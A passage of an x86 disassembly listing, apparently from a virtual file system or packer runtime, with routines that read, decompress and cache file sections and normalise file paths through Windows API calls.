[eax+0Ch] and eax, 30h cmp eax, 30h jnz short loc_500C32 push 120000h call near ptr loc_4FDB7D+1 mov esp, 0E59375A9h lodsd punpckhwd mm7, mm4 mov bl, 0AEh xchg eax, edx enter 493Dh, 20h add esi, esi xchg dh, [ebx-683002FDh] adc [edi-0B71F021h], ebx mov dl, 34h ; --------------------------------------------------------------------------- db 8Ch, 0F5h, 65h dd 975D2033h, 0B1BE20AAh, 97A380A4h, 9FC19C8Fh, 2DDFCC3h dd 0E1EECB75h, 9276A8BBh, 680CACDAh, 31B9E518h, 0ED0915C7h dd 0DA20F7ABh, 0DB496D37h, 758264EEh, 9E554C68h, 0DE8DD8CBh dd 0CE190CFFh, 0A5B28F65h, 0C0339090h, 0EE75C085h ; --------------------------------------------------------------------------- jmp short loc_500C3C ; --------------------------------------------------------------------------- loc_500C32: ; CODE XREF: _5:00500BB5j mov ecx, 0EF000014h call sub_508342 loc_500C3C: ; CODE XREF: _5:00500B38j _5:00500C30j mov eax, [ebp+14h] mov eax, [eax] cmp eax, [ebp+10h] jnb short loc_500C4A xor eax, eax jmp short loc_500C55 ; --------------------------------------------------------------------------- loc_500C4A: ; CODE XREF: _5:00500C44j mov eax, [ebp+14h] mov ecx, [ebp+10h] mov [eax], ecx mov eax, [ebp-4] loc_500C55: ; CODE XREF: _5:00500AF2j _5:00500B17j ... pop edi pop esi pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_500C5C proc near ; CODE XREF: sub_50100B+30p ; sub_50100B+EBp var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00500EAD SIZE 0000015E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E3B8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 68h push ebx push esi push edi mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_34], eax mov eax, [ebp+arg_0] mov ecx, ds:dword_511908 mov eax, [eax] sub eax, [ecx+8] sar eax, 4 mov [ebp+var_24], eax and [ebp+var_28], 0 and [ebp+var_40], 0 jmp short loc_500CB0 ; --------------------------------------------------------------------------- loc_500CA9: ; CODE XREF: sub_500C5C:loc_500CEDj mov eax, [ebp+var_40] inc eax mov [ebp+var_40], eax loc_500CB0: ; CODE XREF: sub_500C5C+4Bj cmp [ebp+var_40], 3 jnb short loc_500CEF mov eax, [ebp+var_40] imul eax, 18h mov ecx, [ebp+arg_0] mov eax, ds:dword_510B7C[eax] cmp eax, [ecx] jnz short loc_500CED mov eax, [ebp+var_40] imul eax, 18h mov eax, ds:dword_510B78[eax] cmp eax, [ebp+arg_4] jnz short loc_500CED mov eax, [ebp+var_40] imul eax, 18h mov eax, ds:off_510B80[eax] mov eax, [eax] jmp loc_500FFA ; --------------------------------------------------------------------------- loc_500CED: ; CODE XREF: sub_500C5C+6Bj ; sub_500C5C+7Cj jmp short loc_500CA9 ; --------------------------------------------------------------------------- loc_500CEF: ; CODE XREF: sub_500C5C+58j lea eax, [ebp+var_48] push eax call ds:dword_51172C ; GetSystemTimeAsFileTime and [ebp+var_4C], 0 jmp short loc_500D06 ; --------------------------------------------------------------------------- loc_500CFF: ; CODE XREF: sub_500C5C:loc_500D4Dj mov eax, [ebp+var_4C] inc eax mov [ebp+var_4C], eax loc_500D06: ; CODE XREF: sub_500C5C+A1j cmp [ebp+var_4C], 3 jnb short loc_500D4F mov eax, [ebp+var_4C] imul eax, 18h add eax, offset dword_510B70 mov [ebp+var_74], eax mov eax, [ebp+var_74] mov ecx, [ebp+var_44] cmp ecx, [eax+4] jl short loc_500D4D jg short loc_500D31 mov eax, [ebp+var_74] mov ecx, [ebp+var_48] cmp ecx, [eax] jbe short loc_500D4D loc_500D31: ; CODE XREF: sub_500C5C+C9j mov eax, [ebp+var_4C] imul eax, 18h add eax, offset dword_510B70 mov ecx, [eax] mov [ebp+var_48], ecx mov eax, [eax+4] mov [ebp+var_44], eax mov eax, [ebp+var_4C] mov [ebp+var_28], eax loc_500D4D: ; CODE XREF: sub_500C5C+C7j ; sub_500C5C+D3j jmp short loc_500CFF ; --------------------------------------------------------------------------- loc_500D4F: ; CODE XREF: sub_500C5C+AEj mov eax, [ebp+var_28] imul eax, 18h and ds:dword_510B78[eax], 0 mov eax, [ebp+var_28] imul eax, 18h and ds:dword_510B7C[eax], 0 mov eax, [ebp+var_28] imul eax, 18h add eax, offset dword_510B70 and dword ptr [eax], 0 and dword ptr [eax+4], 0 mov eax, [ebp+var_28] imul eax, 18h mov eax, ds:off_510B80[eax] mov eax, [eax] mov [ebp+var_3C], eax mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] cmp dword ptr [ecx+eax+8], 0 jnz loc_500EAD mov eax, [ebp+var_34] mov eax, [eax+8] add eax, 0FFFFh shr eax, 10h mov [ebp+var_54], eax and [ebp+var_50], 0 and [ebp+var_4], 0 mov eax, [ebp+var_54] shl eax, 2 push eax call sub_50835A pop ecx mov [ebp+var_6C], eax mov eax, [ebp+var_6C] mov [ebp+var_50], eax and [ebp+var_58], 0 mov eax, [ebp+var_54] shl eax, 2 mov ecx, [ebp+var_34] mov ecx, [ecx+4] sub ecx, eax mov [ebp+var_5C], ecx push 0 push 0 push [ebp+var_5C] mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_511788 ; SetFilePointer cmp eax, [ebp+var_5C] jz short loc_500E1B push 0FFFFFFFFh and [ebp+var_78], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_78] jmp loc_500FFA ; --------------------------------------------------------------------------- loc_500E1B: ; CODE XREF: sub_500C5C+1A4j push 0 lea eax, [ebp+var_58] push eax mov eax, [ebp+var_54] shl eax, 2 push eax push [ebp+var_50] mov eax, [ebp+arg_0] push dword ptr [eax+8] call ds:dword_51177C ; ReadFile test eax, eax jnz short loc_500E54 push 0FFFFFFFFh and [ebp+var_7C], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_7C] jmp loc_500FFA ; --------------------------------------------------------------------------- loc_500E54: ; CODE XREF: sub_500C5C+1DDj mov eax, [ebp+var_54] shl eax, 2 cmp [ebp+var_58], eax jz short loc_500E78 push 0FFFFFFFFh and [ebp+var_80], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_80] jmp loc_500FFA ; --------------------------------------------------------------------------- loc_500E78: ; CODE XREF: sub_500C5C+201j mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] mov edx, [ebp+var_50] mov [ecx+eax+8], edx and [ebp+var_50], 0 or [ebp+var_4], 0FFFFFFFFh call sub_500E9D jmp short loc_500EAD sub_500C5C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_500E9D proc near ; CODE XREF: sub_500C5C+23Ap ; DATA XREF: _6:0050E3C0o mov eax, [ebp-50h] mov [ebp-70h], eax push dword ptr [ebp-70h] call sub_5083DD pop ecx retn sub_500E9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_500C5C loc_500EAD: ; CODE XREF: sub_500C5C+144j ; sub_500C5C+23Fj mov eax, [ebp+var_24] shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] mov eax, [ecx+eax+8] mov [ebp+var_30], eax and [ebp+var_20], 0 and [ebp+var_1C], 0 cmp [ebp+arg_4], 0 jz short loc_500F2D mov eax, [ebp+var_34] mov eax, [eax+8] add eax, 0FFFFh shr eax, 10h mov [ebp+var_60], eax mov eax, [ebp+arg_4] cmp eax, [ebp+var_60] jb short loc_500F00 push ds:off_50E4F8 push 93h push ds:off_50E4FC call sub_50848C loc_500F00: ; CODE XREF: sub_500C5C+28Cj and [ebp+var_64], 0 jmp short loc_500F0D ; --------------------------------------------------------------------------- loc_500F06: ; CODE XREF: sub_500C5C+2CFj mov eax, [ebp+var_64] inc eax mov [ebp+var_64], eax loc_500F0D: ; CODE XREF: sub_500C5C+2A8j mov eax, [ebp+var_64] cmp eax, [ebp+arg_4] jnb short loc_500F2D mov eax, [ebp+var_64] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 7FFFFFFFh mov ecx, [ebp+var_20] add ecx, eax mov [ebp+var_20], ecx jmp short loc_500F06 ; --------------------------------------------------------------------------- loc_500F2D: ; CODE XREF: sub_500C5C+273j ; sub_500C5C+2B7j lea eax, [ebp+var_1C] push eax mov eax, [ebp+arg_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 7FFFFFFFh push eax mov eax, [ebp+var_34] mov eax, [eax+4] add eax, [ebp+var_20] push eax push [ebp+arg_0] call loc_500A10 mov [ebp+var_38], eax cmp [ebp+var_38], 0 jnz short loc_500F62 xor eax, eax jmp loc_500FFA ; --------------------------------------------------------------------------- loc_500F62: ; CODE XREF: sub_500C5C+2FDj mov [ebp+var_2C], 10000h mov eax, [ebp+arg_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4] and eax, 80000000h test eax, eax jnz short loc_500FAE push [ebp+var_1C] push [ebp+var_38] lea eax, [ebp+var_2C] push eax push [ebp+var_3C] call sub_50D9F3 add esp, 10h mov [ebp+var_68], eax cmp [ebp+var_68], 0 jz short loc_500FAC push [ebp+var_68] push offset aBoxReadcompres ; ":BOX:ReadCompressedSection: decompresio"... call sub_508726 pop ecx pop ecx xor eax, eax jmp short loc_500FFA ; --------------------------------------------------------------------------- loc_500FAC: ; CODE XREF: sub_500C5C+33Bj jmp short loc_500FC5 ; --------------------------------------------------------------------------- loc_500FAE: ; CODE XREF: sub_500C5C+31Dj mov ecx, [ebp+var_1C] mov esi, [ebp+var_38] mov edi, [ebp+var_3C] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_500FC5: ; CODE XREF: sub_500C5C:loc_500FACj mov eax, [ebp+var_28] imul eax, 18h mov ecx, [ebp+arg_4] mov ds:dword_510B78[eax], ecx mov eax, [ebp+var_28] imul eax, 18h mov ecx, [ebp+arg_0] mov ecx, [ecx] mov ds:dword_510B7C[eax], ecx mov eax, [ebp+var_28] imul eax, 18h add eax, offset dword_510B70 push eax call ds:dword_51172C ; GetSystemTimeAsFileTime mov eax, [ebp+var_3C] loc_500FFA: ; CODE XREF: sub_500C5C+8Cj ; sub_500C5C+1BAj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_500C5C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50100B proc near ; CODE XREF: sub_501177+16Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push esi push edi mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_14], eax mov eax, [ebp+var_14] shr eax, 10h mov [ebp+var_10], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] shr eax, 10h mov [ebp+var_4], eax push [ebp+var_10] push [ebp+arg_0] call sub_500C5C mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_501050 xor eax, eax jmp loc_501171 ; --------------------------------------------------------------------------- loc_501050: ; CODE XREF: sub_50100B+3Cj mov eax, [ebp+var_14] xor edx, edx mov ecx, 10000h div ecx mov [ebp+var_8], edx mov eax, 10000h sub eax, [ebp+var_8] cmp [ebp+arg_8], eax jnb short loc_501074 mov eax, [ebp+arg_8] mov [ebp+var_18], eax jmp short loc_50107F ; --------------------------------------------------------------------------- loc_501074: ; CODE XREF: sub_50100B+5Fj mov eax, 10000h sub eax, [ebp+var_8] mov [ebp+var_18], eax loc_50107F: ; CODE XREF: sub_50100B+67j mov ecx, [ebp+var_18] mov esi, [ebp+var_C] add esi, [ebp+var_8] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, 10000h sub eax, [ebp+var_8] cmp [ebp+arg_8], eax jnb short loc_5010AE mov eax, [ebp+arg_8] mov [ebp+var_1C], eax jmp short loc_5010B9 ; --------------------------------------------------------------------------- loc_5010AE: ; CODE XREF: sub_50100B+99j mov eax, 10000h sub eax, [ebp+var_8] mov [ebp+var_1C], eax loc_5010B9: ; CODE XREF: sub_50100B+A1j mov eax, [ebp+var_1C] mov [ebp+var_8], eax loc_5010BF: ; CODE XREF: sub_50100B+15Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_10] jbe loc_50116E mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_8] ja short loc_5010F0 push ds:off_50E4F8 push 0BBh push ds:off_50E4FC call sub_50848C loc_5010F0: ; CODE XREF: sub_50100B+CDj push [ebp+var_10] push [ebp+arg_0] call sub_500C5C mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_501108 xor eax, eax jmp short loc_501171 ; --------------------------------------------------------------------------- loc_501108: ; CODE XREF: sub_50100B+F7j mov eax, [ebp+arg_8] sub eax, [ebp+var_8] cmp eax, 10000h jnb short loc_501120 mov eax, [ebp+arg_8] sub eax, [ebp+var_8] mov [ebp+var_20], eax jmp short loc_501127 ; --------------------------------------------------------------------------- loc_501120: ; CODE XREF: sub_50100B+108j mov [ebp+var_20], 10000h loc_501127: ; CODE XREF: sub_50100B+113j mov ecx, [ebp+var_20] mov esi, [ebp+var_C] mov edi, [ebp+arg_4] add edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_8] sub eax, [ebp+var_8] cmp eax, 10000h jnb short loc_501159 mov eax, [ebp+arg_8] sub eax, [ebp+var_8] mov [ebp+var_24], eax jmp short loc_501160 ; --------------------------------------------------------------------------- loc_501159: ; CODE XREF: sub_50100B+141j mov [ebp+var_24], 10000h loc_501160: ; CODE XREF: sub_50100B+14Cj mov eax, [ebp+var_8] add eax, [ebp+var_24] mov [ebp+var_8], eax jmp loc_5010BF ; --------------------------------------------------------------------------- loc_50116E: ; CODE XREF: sub_50100B+BAj push 1 pop eax loc_501171: ; CODE XREF: sub_50100B+40j ; sub_50100B+FBj pop edi pop esi leave retn 0Ch sub_50100B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501177 proc near ; CODE XREF: sub_4FF94C+242p ; sub_4FFFBF+194p ... var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 0050145D SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E3C8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 3Ch push ebx push esi push edi cmp [ebp+arg_14], 0 jnz short loc_5011A8 lea eax, [ebp+var_1C] mov [ebp+arg_14], eax loc_5011A8: ; CODE XREF: sub_501177+29j mov eax, ds:dword_5118E4 mov [ebp+var_3C], eax cmp [ebp+var_3C], 0 jz short loc_5011C9 mov eax, [ebp+var_3C] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_40], 1 jmp short loc_5011CD ; --------------------------------------------------------------------------- loc_5011C9: ; CODE XREF: sub_501177+3Dj and [ebp+var_40], 0 loc_5011CD: ; CODE XREF: sub_501177+50j movzx eax, [ebp+var_40] test eax, eax jz loc_50145D and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz loc_501436 cmp [ebp+arg_10], 0 jz short loc_501207 mov eax, [ebp+arg_10] mov dword ptr [eax], 3E5h loc_501207: ; CODE XREF: sub_501177+85j mov eax, [ebp+var_20] mov eax, [eax] mov eax, [eax] mov [ebp+var_30], eax mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz short loc_501254 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_51177C ; ReadFile mov ecx, [ebp+arg_14] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_48], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_48] jmp loc_50145F ; --------------------------------------------------------------------------- loc_501254: ; CODE XREF: sub_501177+A5j cmp [ebp+arg_10], 0 jz short loc_501281 mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 40000000h test eax, eax jz short loc_501281 mov eax, [ebp+arg_10] mov ecx, [ebp+var_20] mov ecx, [ecx+4] mov [eax+0Ch], ecx mov eax, [ebp+var_20] mov ecx, [ebp+arg_10] mov ecx, [ecx+8] mov [eax+4], ecx loc_501281: ; CODE XREF: sub_501177+E1j ; sub_501177+F0j mov eax, [ebp+arg_8] mov [ebp+var_28], eax mov eax, [ebp+var_20] mov eax, [eax+4] add eax, [ebp+arg_8] mov ecx, [ebp+var_30] cmp eax, [ecx+8] jbe short loc_5012A7 mov eax, [ebp+var_30] mov ecx, [ebp+var_20] mov eax, [eax+8] sub eax, [ecx+4] mov [ebp+var_28], eax loc_5012A7: ; CODE XREF: sub_501177+11Fj cmp [ebp+arg_C], 0 jnz short loc_5012B3 lea eax, [ebp+var_2C] mov [ebp+arg_C], eax loc_5012B3: ; CODE XREF: sub_501177+134j mov eax, [ebp+arg_C] and dword ptr [eax], 0 cmp [ebp+arg_8], 0 jbe loc_5013B8 cmp [ebp+var_28], 0 jbe loc_5013B8 mov eax, [ebp+var_30] mov eax, [eax+0Ch] and eax, 2 test eax, eax jz short loc_5012FE push [ebp+var_28] push [ebp+arg_4] push [ebp+var_20] call sub_50100B mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_5012F9 mov eax, [ebp+arg_C] mov ecx, [ebp+var_28] mov [eax], ecx loc_5012F9: ; CODE XREF: sub_501177+178j jmp loc_5013B6 ; --------------------------------------------------------------------------- loc_5012FE: ; CODE XREF: sub_501177+161j and [ebp+var_34], 0 loc_501302: ; CODE XREF: sub_501177+23Aj mov eax, [ebp+var_34] cmp eax, [ebp+var_28] jnb loc_5013B6 mov eax, [ebp+var_28] sub eax, [ebp+var_34] cmp eax, 10000h jnb short loc_501326 mov eax, [ebp+var_28] sub eax, [ebp+var_34] mov [ebp+var_4C], eax jmp short loc_50132D ; --------------------------------------------------------------------------- loc_501326: ; CODE XREF: sub_501177+1A2j mov [ebp+var_4C], 10000h loc_50132D: ; CODE XREF: sub_501177+1ADj push [ebp+arg_C] push [ebp+var_4C] mov eax, [ebp+var_30] mov eax, [eax+4] mov ecx, [ebp+var_20] add eax, [ecx+4] add eax, [ebp+var_34] push eax push [ebp+var_20] call loc_500A10 mov [ebp+var_38], eax cmp [ebp+var_38], 0 jz short loc_50137D mov eax, [ebp+var_28] sub eax, [ebp+var_34] cmp eax, 10000h jnb short loc_50136C mov eax, [ebp+var_28] sub eax, [ebp+var_34] mov [ebp+var_50], eax jmp short loc_501373 ; --------------------------------------------------------------------------- loc_50136C: ; CODE XREF: sub_501177+1E8j mov [ebp+var_50], 10000h loc_501373: ; CODE XREF: sub_501177+1F3j mov eax, [ebp+arg_C] mov eax, [eax] cmp eax, [ebp+var_50] jz short loc_501383 loc_50137D: ; CODE XREF: sub_501177+1DBj and [ebp+var_24], 0 jmp short loc_5013B6 ; --------------------------------------------------------------------------- loc_501383: ; CODE XREF: sub_501177+204j mov [ebp+var_24], 1 mov eax, [ebp+arg_C] mov ecx, [eax] mov esi, [ebp+var_38] mov edi, [ebp+arg_4] add edi, [ebp+var_34] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] add ecx, [eax] mov [ebp+var_34], ecx jmp loc_501302 ; --------------------------------------------------------------------------- loc_5013B6: ; CODE XREF: sub_501177:loc_5012F9j ; sub_501177+191j ... jmp short loc_5013C5 ; --------------------------------------------------------------------------- loc_5013B8: ; CODE XREF: sub_501177+146j ; sub_501177+150j mov [ebp+var_24], 1 mov eax, [ebp+arg_C] and dword ptr [eax], 0 loc_5013C5: ; CODE XREF: sub_501177:loc_5013B6j cmp [ebp+var_24], 0 jz short loc_5013DC mov eax, [ebp+var_20] mov eax, [eax+4] mov ecx, [ebp+arg_C] add eax, [ecx] mov ecx, [ebp+var_20] mov [ecx+4], eax loc_5013DC: ; CODE XREF: sub_501177+252j mov eax, [ebp+arg_14] mov ecx, [ebp+var_24] mov [eax], ecx cmp [ebp+arg_10], 0 jz short loc_50141D mov eax, [ebp+var_20] mov eax, [eax+0Ch] and eax, 40000000h test eax, eax jz short loc_50141D mov eax, [ebp+var_20] mov ecx, [ebp+arg_10] mov ecx, [ecx+0Ch] mov [eax+4], ecx mov eax, [ebp+arg_10] and dword ptr [eax+0Ch], 0 mov eax, [ebp+arg_10] mov ecx, [ebp+arg_C] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_10] and dword ptr [eax], 0 loc_50141D: ; CODE XREF: sub_501177+271j ; sub_501177+280j push 0FFFFFFFFh mov [ebp+var_54], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_54] jmp short loc_50145F ; --------------------------------------------------------------------------- loc_501436: ; CODE XREF: sub_501177+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_501441 jmp short loc_50145D sub_501177 endp ; =============== S U B R O U T I N E ======================================= sub_501441 proc near ; CODE XREF: sub_501177+2C3p ; DATA XREF: _6:0050E3D0o mov eax, ds:dword_5118E4 mov [ebp-44h], eax cmp dword ptr [ebp-44h], 0 jz short locret_50145C mov eax, [ebp-44h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_50145C: ; CODE XREF: sub_501441+Cj retn sub_501441 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_501177 loc_50145D: ; CODE XREF: sub_501177+5Cj ; sub_501177+2C8j xor eax, eax loc_50145F: ; CODE XREF: sub_501177+D8j ; sub_501177+2BDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_501177 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501470 proc near ; CODE XREF: sub_4FF252+91p ; sub_50153F+B4p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov [ebp+var_4], 1 mov [ebp+var_8], 2 jmp short loc_501490 ; --------------------------------------------------------------------------- loc_501489: ; CODE XREF: sub_501470+5Ej ; sub_501470+7Fj ... mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_501490: ; CODE XREF: sub_501470+17j mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jnb loc_501523 mov eax, ds:dword_511908 add eax, [ebp+var_8] mov al, [eax+810h] mov [ebp+var_C], al movsx eax, [ebp+var_C] mov ecx, ds:dword_511908 add ecx, [ebp+var_4] movsx ecx, byte ptr [ecx+810h] cmp eax, ecx jnz short loc_5014D0 movsx eax, [ebp+var_C] cmp eax, 5Ch jnz short loc_5014D0 jmp short loc_501489 ; --------------------------------------------------------------------------- loc_5014D0: ; CODE XREF: sub_501470+53j ; sub_501470+5Cj movsx eax, [ebp+var_C] cmp eax, 2Fh jnz short loc_5014F1 mov eax, ds:dword_511908 add eax, [ebp+var_8] mov byte ptr [eax+810h], 5Ch mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax jmp short loc_501489 ; --------------------------------------------------------------------------- loc_5014F1: ; CODE XREF: sub_501470+67j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] jz short loc_501517 mov eax, ds:dword_511908 add eax, [ebp+var_4] mov ecx, ds:dword_511908 add ecx, [ebp+var_8] mov cl, [ecx+810h] mov [eax+811h], cl loc_501517: ; CODE XREF: sub_501470+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp loc_501489 ; --------------------------------------------------------------------------- loc_501523: ; CODE XREF: sub_501470+26j mov eax, ds:dword_511908 add eax, [ebp+var_4] and byte ptr [eax+811h], 0 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+var_10] sub ecx, eax mov eax, ecx leave retn sub_501470 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50153F proc near ; CODE XREF: sub_4FFD24+3Ap ; sub_500346+19p ... var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_56 = byte ptr -56h var_55 = byte ptr -55h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 005018BC SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E3D8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 50h push ebx push esi push edi cmp [ebp+arg_4], 0 jz short loc_501570 mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_501570: ; CODE XREF: sub_50153F+29j cmp ds:dword_511908, 0 jnz short loc_501580 xor eax, eax jmp loc_5018BE ; --------------------------------------------------------------------------- loc_501580: ; CODE XREF: sub_50153F+38j and [ebp+var_1C], 0 push offset dword_5118C8 call ds:dword_5116C4 ; RtlEnterCriticalSection and [ebp+var_4], 0 push 4 push offset a? ; "\\\\?\\" push [ebp+arg_0] call sub_4FC730 add esp, 0Ch test eax, eax jnz short loc_5015B2 mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax loc_5015B2: ; CODE XREF: sub_50153F+68j lea eax, [ebp+var_1C] push eax mov eax, ds:dword_511908 add eax, 810h push eax push 104h push [ebp+arg_0] call ds:dword_511708 ; GetFullPathNameA mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz loc_5018A5 push [ebp+var_20] mov eax, ds:dword_511908 add eax, 810h push eax call ds:dword_5117C8 ; CharUpperBuffA mov ecx, [ebp+var_20] call sub_501470 mov ecx, [ebp+var_1C] sub ecx, eax mov [ebp+var_1C], ecx mov eax, ds:dword_511908 mov eax, [eax+0C14h] mov [ebp+var_24], eax mov eax, ds:dword_511908 mov ecx, [eax+0C14h] mov edi, ds:dword_511908 add edi, 10h mov esi, ds:dword_511908 add esi, 810h xor eax, eax repe cmpsb jz short loc_501679 mov eax, ds:dword_511908 mov ecx, [eax+0C18h] mov edi, ds:dword_511908 add edi, 410h mov esi, ds:dword_511908 add esi, 810h xor eax, eax repe cmpsb jnz loc_50181A mov eax, ds:dword_511908 mov eax, [eax+0C18h] mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_50181A loc_501679: ; CODE XREF: sub_50153F+F3j mov eax, [ebp+var_24] mov ecx, ds:dword_511908 lea eax, [ecx+eax+810h] mov [ebp+var_28], eax mov edi, [ebp+var_28] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_34], ecx mov [ebp+var_38], 1 mov eax, ds:dword_511908 mov eax, [eax+0Ch] mov [ebp+var_2C], eax and [ebp+var_30], 0 loc_5016B2: ; CODE XREF: sub_50153F:loc_501752j mov eax, [ebp+var_38] cmp eax, [ebp+var_2C] ja loc_501757 mov eax, [ebp+var_38] add eax, [ebp+var_2C] shr eax, 1 mov [ebp+var_44], eax mov eax, [ebp+var_44] dec eax shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] mov eax, [ecx+eax] mov [ebp+var_3C], eax push [ebp+var_34] mov eax, 